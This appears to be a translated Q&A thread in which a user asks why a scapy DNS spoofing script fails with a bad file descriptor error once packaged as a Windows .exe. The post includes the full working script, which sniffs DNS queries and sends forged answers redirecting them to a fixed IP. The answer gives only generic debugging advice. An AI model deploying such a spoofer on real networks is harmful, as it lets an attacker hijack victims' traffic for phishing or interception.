scapy OSError: [Errno 9] 错误的文件描述符 [英] scapy OSError: [Errno 9] Bad file descriptor

问题描述

我在 windows xp 中使用 python 2.7 和 scapy-2.2.0.我正在尝试 dns 欺骗，它在 python 中运行良好.但是当我生成 .exe 并执行它时，出现此错误

I'm using python 2.7 and scapy-2.2.0 in windows xp. I'm trying dns spoofing and it works well in python. but when I make to .exe and execute it, I got this error

Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor

我该如何解决?请帮忙.

How can I fix it? Please help.

这是源代码.

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
    from scapy.all import *
except:
    from scapy import *
def dns_spoof(pkt):
    redirect_to = '172.16.22.91'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
        send(spoofed_pkt)
        print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)

推荐答案

看起来使用了错误的文件描述符(句柄).例如.作为标准输出(管道)打开的东西被用作套接字.

It looks like a wrong file descriptor (handle) is being used. E.g. something open as stdout (pipe) is used as a socket.

如果我理解正确，相同的程序可以从源代码运行，但在转入 exe 时失败.我说得对吗?

If I understand correctly, same program works from source and fails when rolled into an exe. Am I right?

如果你在 linux 上运行它，你会使用 strace 来找出哪个.

If you ran it on linux, you would use strace to figure out which.

Windows 上的等效工具是 Process Monitor 和 Logger.exe.

Equivalent tools on windows are Process Monitor and Logger.exe.
